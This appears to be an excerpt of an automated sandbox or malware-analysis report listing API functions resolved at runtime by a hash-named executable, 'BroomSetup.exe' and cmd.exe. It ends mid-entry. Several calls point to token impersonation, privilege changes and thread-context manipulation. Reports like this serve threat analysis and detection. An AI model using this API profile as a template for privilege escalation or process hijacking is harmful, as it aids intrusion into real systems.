"31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SysStringLen (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter EtwUnregisterTraceGuids (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetFilePointerEx (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter NetUserGetInfo (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter NetApiBufferFree (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter OpenSCManagerW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter OpenServiceW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter QueryServiceConfigW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter QueryServiceStatusEx (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter StartServiceW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CloseServiceHandle (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter ConvertStringSidToSidW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetLengthSid (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LsaOpenPolicy (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LsaAddAccountRights (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LsaClose (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter Process32FirstW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter Process32NextW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter ImpersonateLoggedOnUser (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CreateProcessWithTokenW (UID: 00000000-00002512) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalA (UID: 00000000-00002512) "BroomSetup.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter WTSRegisterSessionNotification (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter IsWindow (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter WinStationRegisterConsoleNotification (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter LookupAccountSidW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter RpcStringBindingComposeW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter RpcBindingFromStringBindingW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter RpcStringFreeW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter RpcBindingSetAuthInfoExW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter RpcAsyncInitializeHandle (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter NdrClientCall2 (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter NdrAsyncClientCall (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter BufferedPaintInit (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetLayout (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdiRealizationInfo (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter FontIsLinked (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetTextFaceAliasW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetFontAssocStatus (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdiIsMetaPrintDC (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter AnimateWindow (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter InitializeFlatSB (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter UninitializeFlatSB (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollProp (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollProp (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_EnableScrollBar (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_ShowScrollBar (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollRange (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollInfo (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollPos (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollPos (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollInfo (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollRange (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter SetLayeredWindowAttributes (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter InitCommonControlsEx (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GradientFill (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipDrawArc (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipDrawLine (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipCreatePen1 (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdiplusStartup (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdiplusShutdown (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipDrawEllipse (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipFillEllipse (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipCreateFromHDC (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipCreateSolidFill (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipSetSmoothingMode (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipDrawImageRectRect (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipSetCompositingMode (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipSetCompositingQuality (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipDeleteGraphics (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipDisposeImage (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipBitmapLockBits (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromScan0 (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipBitmapUnlockBits (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter IsProcessorFeaturePresent (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetWindowInfo (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetAncestor (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetMonitorInfoA (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter EnumDisplayMonitors (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter EnumDisplayDevicesA (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter ExtTextOutW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetScrollBarInfo (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter OpenThemeData (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter DrawThemeBackground (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter DrawThemeText (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeBackgroundContentRect (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeBackgroundExtent (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemePartSize (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeTextExtent (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeTextMetrics (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeBackgroundRegion (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter HitTestThemeBackground (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter DrawThemeEdge (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter DrawThemeIcon (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter IsThemePartDefined (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter IsThemeBackgroundPartiallyTransparent (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeColor (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeMetric (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeString (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeBool (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeInt (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeEnumValue (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemePosition (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeFont (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeRect (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeMargins (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeIntList (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemePropertyOrigin (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter SetWindowTheme (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeFilename (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysColor (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysColorBrush (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysBool (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysSize (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysFont (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysString (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysInt (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter IsThemeActive (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetWindowTheme (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter EnableThemeDialogTexture (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter IsThemeDialogTextureEnabled (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeAppProperties (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter SetThemeAppProperties (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetCurrentThemeName (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeDocumentationProperty (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter DrawThemeParentBackground (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter EnableTheming (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter WICCreateImagingFactory_Proxy (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter SHGetFileInfoW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GrooveChainGetGlobalInterfacePtrAddress (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GrooveChainCoCreateInstance (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter EnumDateFormatsExEx (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThreadUILanguage (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter SetProcessDPIAware (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter SetLayout (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter UpdateLayeredWindow (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter GetTextExtentExPointWPri (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter AlphaBlend (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter RegisterClassNameW (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter HIMAGELIST_QueryInterface (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter DrawShadowText (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter DrawSizeBox (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter DrawScrollBar (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter SizeBoxHwnd (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter ScrollBar_MouseMove (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter ScrollBar_Menu (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter HandleScrollCmd (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter DetachScrollBars (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter AttachScrollBars (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter CCSetScrollInfo (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter CCGetScrollInfo (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter CCEnableScrollBar (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter QuerySystemGestureStatus (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter CoRegisterInitializeSpy (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter CoRevokeInitializeSpy (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004500) "BroomSetup.exe" called "GetProcAddress" with a parameter ImmAssociateContextEx (UID: 00000000-00004500) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003592) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003592) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003592) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003592) "cmd.exe" called "GetProcAddress" with a parameter CopyFileExW (UID: 00000000-00003592) "cmd.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00003592) "cmd.exe" called "GetProcAddress" with a parameter SetConsoleInputExeNameW (UID: 00000000-00003592) "cmd.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00003592) "cmd.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00003592) "cmd.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00003592) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetVersionExA (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetErrorMode (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WaitForMultipleObjects (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter VirtualQuery (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SwitchToThread (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SuspendThread (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetWaitableTimer (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetUnhandledExceptionFilter (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetProcessPriorityBoost (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter PostQueuedCompletionStatus (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetSystemDirectoryA (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetQueuedCompletionStatusEx (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetProcessAffinityMask (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetEnvironmentStringsW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter FreeEnvironmentStringsW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CreateThread (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CreateIoCompletionPort (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter CreateEventA (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter AddVectoredExceptionHandler (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003348) "31839b57a4f11171d6abc8bbc4451ee4.exe" called "GetProcAddress" 